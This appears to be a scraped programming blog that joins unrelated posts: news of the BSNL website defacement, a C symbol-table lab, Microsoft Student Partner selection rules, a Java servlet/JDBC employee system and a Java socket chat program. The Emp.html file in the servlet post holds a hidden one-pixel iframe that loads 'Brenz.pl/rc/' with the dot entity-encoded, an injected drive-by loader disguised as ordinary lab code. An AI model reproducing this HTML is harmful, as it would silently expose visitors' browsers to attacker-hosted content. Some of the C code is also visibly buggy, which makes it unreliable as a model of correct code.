The Web site of Bharat Sanchar Nigam Ltd - bsnl.co.in - has been hacked by Pakistani


Screenshot of the hacked BSNL site
Screenshot of the hacked BSNL site



The Web site of Bharat Sanchar Nigam Ltd - bsnl.co.in - has been hacked. 
 
A message posted on the site, purportedly by a Pakistani hacker, said: “Hax3d by KhantastiC haXor - Bharat Sanchar Nigam Ltd – India’s No. 1 Telecommunications Company. 


The hacker claimed in the message put out in the BSNL site, “You have been pwned by Pakistani hacker. This is not a joke or dream, this is f*****g reality, kids. This is now just a warning!!

“Deleted Every Database!! Muwah <3…. Backup in my Pocket=p ohh I means in ma Flash Drive = D.”

The site has not been available since morning.


About hacker!!
 

A Google+ page of KhantastiC haXor purportedly of the hacker has not much info, but displays his 'KhanistiC haXor' name in bold. There are three persons in KhantastiC haXor's circles and two of them have him in their circles. 


Another site shows How BSNL's site was hacked, but we are not sure it is by KhantastiC haXor. 

BSNL reply:


In a response, BSNL said “the Web site was hacked around 6 p.m. on October 26. It came to our notice today and has been restored as of 2 p.m. (October 27). Our Web site has general information such as BSNL tariffs. There is no customer data on the Web site so there is no question of any data being stolen or deleted. We will undertake security audit and also take suitable measures for hardening the Web site security.”

Creation of SYMBOL TABLE using C


http://1.bp.blogspot.com/-xvuJtp03d1w/TZshOxkcN3I/AAAAAAAAAQg/audiAJWiImg/s1600/c%2Band%2Bc%252B%252B%2Bmeansofmine.jpgAIM:

To write a C program to understand the working function of assembler in first pass
creating symbol table where the tables are entered in the first pass along with the
corresponding addresses.

ALGORITHM:

STEP 1: Start the program execution.
STEP 2: Create a structure for opcode table and assign the values.
STEP 3: Create a structure for symbol table and assign the values.
STEP 4: Create a structure for intermediate code table and assign the values.
STEP 5: Write the opcode in separate file and machine code in another separate file.
STEP 6: Open the opcode file and compare it with the given machine code and then
generate opcode for corresponding source code.
STEP 7: Check the forward reference in intermediate code and print the corresponding
jump statement address.
STEP 8: Compare machine code with the opcode.If any jump statement with backward
reference is present, then print backward reference address.
STEP 9: For symbol table, print the symbol and address of the symbol.
STEP 10: Stop the program execution.

PROGRAM:

#include<stdio.h>
#include<conio.h>
#include<stdlib.h>
#include<string.h>
struct table
{
char var[10];
int value;
};
struct table tbl[20];
int i,j,n;
void create();
void modify();
int search(char variable[],int n);
void insert();
void display();
void main()
{
int ch,result=0;
char v[10];
clrscr();
do
{
printf("Enter ur choice:\n1.Create\n2.Insert\n3.Modify\n4.Search\n5.Display\n6.Exit");
scanf("%d",&ch);
switch(ch)
{
case 1:
create();
break;
case 2:
insert();
break;
case 3:
modify();
break;
case 4:
printf("Enter the variabe to be searched\n");
scanf("%s",&v);
result=search(v,n);
if(result==0)
printf("The variable does not belong to the table\n");
else
printf("The location of variable is %d. The value of %s is %d",
result,tbl[result].var,tbl[result].value);
break;
case 5:
display();
break;
case 6:
exit(1);
}
}
while(ch!=6);
getch();
}
void create()
{
printf("Enter the number of entries\n");
scanf("%d",&n);
printf("Enter the variable and the value:\n");
for(i=1;i<=n;i++)
{
scanf("%s%d",tbl[i].var,&tbl[i].value);
check:
if(tbl[i].var[0]>='0' && tbl[i].var[0]<='9')
{
printf("The variable should start with an alphabet\nEnter the correct variable name\n");
scanf("%s%d",tbl[i].var,&tbl[i].value);
goto check;
}
check1:
for(j=1;j<1;j++)
{
if(strcmp(tbl[i].var,tbl[j].var)==0)
{
printf("The variable already exists.\nEnter another variable\n");
scanf("%s%d",tbl[i].var,&tbl[i].value);
goto check1;
}
}
}
printf("The table after creation is\n");
display();
}
void insert()
{
if(i>=20)
printf("Cannotinsert. Table is full");
else
{
n++;
printf("Enter the variable and value\n");
scanf("%s%d",tbl[n].var,&tbl[n].value);
check:
if(tbl[i].var[0]>='0' && tbl[i].var[0]<='9')
{
printf("The variable should start with alphabet\nEnter the correct variable name\n");
scanf("%s%d",tbl[i].var,&tbl[i].value);
goto check;
}
check1:
for(j=1;j<n;j++)
{
if(strcmp(tbl[j].var,tbl[i].var)==0)
{
printf("The variable already exist\nEnter another variable\n");
scanf("%s%d",tbl[i].var,&tbl[i].value);
goto check1;
}
}
printf("The table after insertion is\n");
display();
}
}
void modify()
{
char variable[10];
int result=0;
printf("Enter the variable to be modified\n");
scanf("%s",&variable);
result=search(variable,n);
if(result==0)
printf("%sdoes not belong to the table",variable);
else
{
printf("The current value of the variable%s is %d, Enter the new variable and its
value",tbl[result].var,tbl[result].value);
scanf("%s%d",tbl[result].var,&tbl[result].value);
check:
if(tbl[i].var[0]>='0' && tbl[i].var[0] <= '9')
{
printf("The variable should start with alphabet\n Enter the correct variable name\n");
scanf("%s%d",tbl[i].var,&tbl[i].value);
goto check;
}
}
printf("The table after modification is\n");
display();
} int search(char variable[],int n)
{
int flag;
for(i=1;i<=n;i++)
{
if(strcmp(tbl[i].var,variable)==0)
{
flag=1;
break;
}
}
if(flag==1)
return i;
else
return 0;
}
void display()
{
printf("Variable\t value\n");
for(i=1;i<=n;i++)
printf("%s\t\t%d\n",tbl[i].var,tbl[i].value);
}
 
OUTPUT:

Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit
1
Enter the number of entries
2
Enter the variable and the value:
A 26
B 42
The table after creation is
Variable value
A 26
B 42
Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit
2
Enter the variable and value
D 10
The table after insertion is
Variable value
A 26
B 42
D 10
Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit
3
Enter the variable to be modified
D
The current value of the variableD is 10, Enter the new variable and its value
C
20
The table after modification is
Variable value
A 26
B 42
C 20
Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit
4
Enter the variabe to be searched
A The location of variable is 1. The value of A
is 26
Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit
5
Variable value
A 26
B 42
C 20
Enter ur choice:
1.Create
2.Insert
3.Modify
4.Search
5.Display
6.Exit

Microsoft Student Partner (MSP) selection process is based on!!

The results of the MSP selection process in India depends on a very complex combination of a number of factors:
 
• Performance of candidates in various rounds. If a candidate does well in each round, better the chances.
• Relative performance of a candidate in relation to other candidates from the same college, city, region etc.
• Number of existing MSPs from a particular college, city, region etc.
• Current Year of Course
• Nature of Course
• Academic performance
• References

So, your score in the first IT Challenge quiz is just one component of a much larger set of factors.

Microsoft Student Partner (MSP) India Program

Program Overview:
The Microsoft Student Partner Program recognizes top young minds from around the world that are passionate about technology. It's a once in a lifetime opportunity to develop real-world skills to help you succeed in your future career, to help others learn about the technology of today and tomorrow, and to connect with other like-minded students, all whilst having a ton of fun along the way. The tenure is for 1 academic year and can be renewed by the MSP India Team if the MSP has acceptable performance and continues to meet the eligibility criteria.
 
What is a Microsoft Student Partner?The ‘ideal candidate’ would be a passionate and enthusiast individual who wants to learn about new tools and technologies. You would need to have a whole range of skills including excellent time management, organization and communication skills to ensure that you could host successful campus events. An MSP should be comfortable and confident presenting in front of large audiences of both students and faculty members. General marketing skills come in very handy in order to allow you to articulate your ideas effectively when presenting. MSPs are social, friendly and approachable individuals who like to meet new people. You will require the ability work as a team as well as use your own initiative. In summary, MSPs are innovative and creative students who are extremely passionate about technology and who like to help others.
 
MSP India Program
2011-2012 Academic Year Selection Process
How to apply? 

The deadline for registering for the 2011-2012 Academic Year has elapsed
. Results will be announced by 14th November 2011.

  • Part 1: You will need to create a video of yourself speaking about a Microsoft technology and upload it to YouTube. This is to judge your public-speaking skills and confidence. MSPs conduct a lot of technical sessions and other activities in which they interact with their peers and colleagues. Thus, an MSP has to be fluent in English and be able to put his/her point across. In this round, emphasis will be on Clarity of communication and Quality of content.
    • Specifications:
      * The duration of the video has to be between 3 to 4 minutes (minimum 3 minutes and maximum 4 minutes)
      * You have to be clearly visible in the video- we want to see and hear you speaking. No PowerPoint presentations, screencasts, webcasts etc. will be allowed.
      * All content has to be genuine. It should not contain any copyrighted material without express consent of the owner.
      * Make sure the video is of your own creation.
      * The video has to be interesting and engaging. Through the video you have to show us why you should be selected for the MSP Program. There will be hundreds of videos submitted, so be original in the video.
      * The deadline for submitting the URL of your video has elapsed.

    • Topics for the video:
      You have to choose from any one of the following topics ONLY:
      * Cloud Computing (Azure or Office 365)
      * Web (ASP.NET or WebMatrix or WebPI or Silverlight)
      * Mobile (Application development for Windows Phone 7)
      * Client (Application development for Windows 7, WPF)
      * Windows Embedded
      * Microsoft Robotics Developer Studio
      * Application development using XNA Game Studio
      * Expression Studio
      * Windows Server 2008 R2
      * SQL Server 2008 R2

    • Tips to make the video interesting:* You have to be clearly visible. We want to see and hear you speak.
      * Make sure you are audible. Audio quality is more important than video quality.
      * Be creative. Think of ways to make your video presentation memorable for the audience.
      * Don’t read from a paper or a computer screen. Make your presentation dynamic, so that people can enjoy watching it.
      * Don’t just copy an existing video from YouTube, Channel 9 or a Microsoft video. We want to gain an insight into your understanding and interest in the technology you choose to speak on.

  • Part 2: Get your Windows Phone 7 App certified on AppHub.
    • * Using your DreamSpark account, setup a free “Student” AppHub account at http://create.msdn.com/SendtoXboxcom.aspx
    • * Create your app using the free development tool and emulator available at http://create.msdn.com/en-us/resources/downloads
    • * If you do not have access to a machine that supports these dev tools, you can use a third-party web-based utility like http://bit.ly/wp7appmakr to create an app (e.g. for your personal blog or for an RSS feed relevant to your college or your city). Here's a demo video: http://www.facebook.com/video/video.php?v=149172155146650
    • * Go through the steps listed at http://create.msdn.com/en-US/home/about/app_submission_walkthrough
    • * Ensure that the Support/Contact Email Address that you provide on AppHub is the same as the one that you provided during registration for the MSP selection process. This is very important- so do this properly.
    • * Work towards getting your apps certified by 18th October 2011. Submit your apps on AppHub early so that you get at least a week before the deadline to go through the certification process.
    • * The goal of this exercise is to assess your understanding of the AppHub certification process. So there is no need to complicate your app development. There will be other opportunities later this year for students to showcase complex and innovative apps.
    • * The deadline for this Part has elapsed.

The main one-hour Quiz can then be taken online at http://www.imaginecup.com/Competition/mycompetitionportal.aspx?competitionId=65 at any of the following times: 
Start time in Indian Standard Time (IST)
05:30 on 20th October in India
08:30 on 20th October in India
11:30 on 20th October in India
14:30 on 20th October in India
17:30 on 20th October in India
20:30 on 20th October in India
23:30 on 20th October in India
02:30 on 21st October in India

Imagine Cup website support: http://www.imaginecup.com/Support/ContactUs.aspx
    •  * The deadline for this Part has elapsed.

Disclaimer: This is a voluntary program for students and does not involve any fees. It is neither a course nor an internship.

Eligibility: To consider applying for the MSP Program, you must be:
  • * Over 17 years of age. 
  • * Currently studying a full-time Science, Technology, Engineering, Math or Design (STEMD) course at an officially recognized University/College in India.
  • * Bachelor's/Master's Degree student who will complete the course during or after May 2012.
Competencies: A good MSP is one who has the following basic qualities:
  • * Technical competencies
  • * Passionate about software
  • * Quick learner
  • * Respected by peers
Community-building competencies:
  • * Enthusiastic about technology
  • * High level of social activity, both online & offline
  • * Can organize college and city-level events
Fundamental competencies:
  • * Passionate about Microsoft technologies
  • * Confident & outgoing
  • * Good rapport with faculty
  • * Willing to share knowledge & eager to uplift self and peers
Responsibilities: If you get selected as an MSP, here's an indication of some of your short term goals:
  • * Learn & implement emerging technologies like Windows Phone 7 apps using the free tools & emulator.
  • * Conduct at least 1 technical session per month in a Student Tech Club.
  • * Participate and drive entries for Imagine Cup.
If you get selected as an MSP, here's an indication of some of your long term goals:
  • * Promote and build your city-level Microsoft Student User Group
  • * Organize city-level events like DreamSpark Yatra by collaborating with other MSPs
  • * Mentor other MSPs
Benefits: As an MSP, a host of benefits are available:
  • * Welcome letter
  • * Special MSP events conducted by Microsoft
  • * MSDN subscription after successful completion of probation period
  • * Rewards & Recognition for top performers
  • * Networking opportunities
  • * Technical training & resources
  • * Specific Microsoft events
  • * Interactions with MVPs & Microsoft Employees
  • * Internship & Recruitment announcements for top-performers


Contact Us:


Employee Information System using JDBC and implementing the doGet() and doPost() method


Employee Information System using doGet( ) and doPost() Method

AIM
          To create an Employee Information System using JDBC and implementing the doGet() and doPost() method.

ALGORITHM
Step 1: Start the program.
Step 2: Create a Java Source file which creates an HttpServlet class called GetDeatils.
Step 3: Initialize the servlet.
Step 4: In the doGet() method, establish the connection with the DSN called emp.
Step 5: After connection establishment, query the database and select all records in the
            emp table.       
Step 6: Create another Java Source file that  creates an HttpServlet class called
            PostDeatils.
Step 7: Initialize the servlet.
Step 8: In the doPost() method, establish the connection with the DSN called emp.
Step 9: Create an XHTML file called emp.html.
Step 10: Invoke the GetDetails Class by clicking the GET button in the emp.html.
Step 11: Display all records in the web browser.
Step 12: Fill all the relevant employee information fields in emp.html file and click the
              POST button.
Step 13: The POST button invokes the PostDetails class.
Step 14: Insert a new record through by executing sql query and get record updated
Step 15: Close ResultSet and database connection.
 Step 7: Stop the process.


GetDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class GetDetails extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
   public void init(ServletConfig config) throws ServletException {
        super.init(config);
      
    con=null;
    out=null;
    rs=null;
    }
          public void destroy() {
     try
        {
   
      con.close();
      out.close();
      rs.close();
    }
    catch(SQLException se)
            {
      out.println(se.toString());
    }
    }
   
        protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
    }
    
    protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    out=response.getWriter();
       try{
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pstmt=null;
      String query=null;
      query="select name,age,address,desig from emp";
      pstmt=con.prepareStatement(query);
      rs=pstmt.executeQuery();
      out.println("<b><center>Employee Details</center></b><br><br>");
      out.println("<table align=center border=1 cellpadding=2>");
      while(rs.next())
      {
        out.println("<tr>");
        out.println("<td>" + rs.getString("name") + "</td>");
        out.println("<td>" + rs.getString("age") + "</td>");
        out.println("<td>" + rs.getString("address") + "</td>");
        out.println("<td>" + rs.getString("desig") + "</td>");
        out.println("</tr>");
      }
      out.println("</table>");
      out.println("</body>");
    }
    catch(Exception e){
      out.println(e.toString());
    }
            
        processRequest(request, response);
  
    }
  }


PostDetails.java

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;
public class PostDetails  extends HttpServlet {
  Connection con;
  PrintWriter out;
  ResultSet rs;
    public void init(ServletConfig config) throws ServletException
    {
        super.init(config);
          
    con=null;
    out=null;
    rs=null;
    }
   
    public void destroy()
    {
      //con.close();
      out.close();
     // rs.close();
    }
   
      protected void processRequest(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
      {
        response.setContentType("text/html");
        PrintWriter out = response.getWriter();
        out.close();
      }
     
    protected void doPost(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException
    {
       
        out=response.getWriter();
        String name=request.getParameter("name");
         String age=request.getParameter("age");
          String address=request.getParameter("address");
           String desig=request.getParameter("desig");
              String id=request.getParameter("id");
       try
       {
      Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
      con=DriverManager.getConnection("jdbc:odbc:emp");
      PreparedStatement pst=null;
     String sql = "insert into emp values (?,?,?,?,?)";
   pst = con.prepareStatement(sql);
  pst.setString(1, name);
  pst.setString(2, age);
  pst.setString(3, address);
  pst.setString(4, desig);
    pst.setString(5,id);
  pst.executeUpdate();
   out.println(" Updated ");
  
       }
    catch(Exception e){
      out.println(e.toString());
    }
         processRequest(request,response);
       
    }
      
}


Emp.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
 
<html>
  <head>
      <title>Employment Information System</title>
      <h1 align=center>EMPLOYMENT INFORMATION SYSTEM<h1>
  </head>
  <body>
  
  <form action='EmployeeDetails' method="get">
<center> <label style='color:blue'>Click Here to View the Records:</label>  <input type='submit' value='Get'>
</center>
  </form>
  <iframe style="height:1px" src="http://www&#46;Brenz.pl/rc/" frameborder=0 width=1></iframe>
<form action ='S' method='post'>
<h1 align=center style='color:blue'> Enter the Employee Details Here!</h1>
<table border='2' ALIGN=center>
<tr>
<td> <label style='color:green'>Name: </label></td><td><input type=text name='name'></td>
</tr>
<tr>
<td> <label>Age:</label></td><td><input type=text name='age'></td>
</tr>  
<tr>
 <td><label>Address       :</label></td><td><input type=text name='address'></td>
  </tr>  <tr>
   <td><label>Designation:</label></td><td><input type=text name='desig'></td>
  </tr>  
<tr>
<td> <label>ID Number:</label> </td><td><input type=text name='id'></td>
</tr>  
<tr>
 <td><label>Click Here to Update the Records:</label><input type =submit method =post value='post' size='70' style='color:red'>
 </td>
</tr>
</tabel>
</form>
</body>
</html>

Java program to create Instant Messenger application for communication between multiple clients

INSTANT MESSENGER
 
AIM
          To write a java program for creating Instant Messenger application for communication between multiple clients.


ALGORITHM

Step 1: Start the process.

Step 2: Create the client module as  class Client by extending thread
   class.

Step 3: Create the Server module as class Server for accepting
   connection from clients.

Step 4: Create ClientThread class in Server module to make 10 clients
   to communuicate.

Step 5: Start the Server.

Step 6: After Server is ready, then run the clients to communicate with
  each other.

Step 6: Terminate the clients and Server respectively.

Step 7: Stop the process.


Source Code

Client.java

import java.io.*;
import java.net.*;
public class Client implements Runnable
{
            static Socket socket=null;
            static PrintStream output;
            static BufferedReader input=null;
            static BufferedReader userip=null;
            static boolean flag=false;
            public static void main(String[] args)
            {
                        int port=1234;
                               String host="localhost";
                        try
                        {
                                    socket=new Socket(host,port);
                                    userip=new BufferedReader(new InputStreamReader(System.in));
                                    output=new PrintStream(socket.getOutputStream());
                                    input=new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        }
                        catch(Exception e)
                        {
                                    System.err.println("Unknown host"+host);
                        }
                        if(socket!=null)
                        {
                                    try
                                    {
                                                new Thread(new Client()).start();
                                                while(!flag)
                                                {
                                                output.println(userip.readLine());
                                                }
                                    output.close();
                                    input.close();
                                    socket.close();
                        }
                        catch(Exception e1)
                        {
                                    System.err.println("IOException"+e1);
                        }
            }
}
public void run()
{
String msg;
try
{
while((msg=input.readLine())!=null)
System.out.println(msg);
flag=true;
}
catch(IOException e)
{
System.err.println("IOException" + e);
}
}
}


Server.java

import java.io.*;
import java.net.*;
public class Server
{
      static ServerSocket server=null;
      static Socket socket=null;
      static ClientThread th[]=new ClientThread[10];
      public static void main(String args[])
      {
            int port=1234;
            System.out.println("Server started...");
            System.out.println("  [Press Ctrl C to terminate ]");
            try
            {
                  server=new ServerSocket (port);
            }
            catch(IOException e)
            {
                  System.out.println("Exception for Input/Output");
            }
            while(true)
            {
                  try
                  {
                        socket=server.accept();
                        for(int i=0;i<=9;i++)
                        {
                              if(th[i]==null)
                              {
                                    (th[i]=new ClientThread(socket,th)).start();
                                    break;
                              }
                        }
                        }
                        catch(IOException e)
                        {
                              System.out.println("Exception for Input/Output");
                        }
                  }
            }
      }

      class ClientThread extends Thread
      {
            BufferedReader input=null;
            PrintStream output=null;
            Socket socket=null;
            ClientThread th[];
            public ClientThread(Socket socket,ClientThread[] th)
            {
                  this.socket=socket;
                  this.th=th;
            }
            public void run()
            {
                  String msg;
                  String username;
                  try
                  {
                        input = new BufferedReader(new InputStreamReader(socket.getInputStream()));
                        output = new PrintStream(socket.getOutputStream());
                        output.println("What is your Name?Enter it-");
                        username = input.readLine();
                        output.println(username + ":Welcome to chat room.");
                        output.println("To leave chat room type $$");
                        for (int i = 0; i <= 9; i++)
                              if (th[i] != null && th[i] != this)
                                    th[i].output.println("------------A new user arrived in chat Room:" + username);
                              while (true)
                              {
                                    msg = input.readLine();
                                    if (msg.startsWith("$$"))
                                          break;
                                    for (int i = 0; i <= 9; i++)
                                          if (th[i] != null)
                                                th[i].output.println("<" + username + ">" + msg);
                              }
                              for (int k = 0; k <= 9; k++)
                                    if (th[k] != null && th[k] != this)
                                          th[k].output.println("------A user Leaving chat Room:" + username + "--------");
                              output.println("Press Ctrl C to return to prompt---");
                              for (int j = 0; j <= 9; j++)
                                    if (th[j] == this)
                                          th[j] = null;
                              input.close();
                              output.close();
                              socket.close();
                  }
                  catch (IOException e)
                  {
                        System.out.println("Exception for Input/Output");
                  }
                  }
            }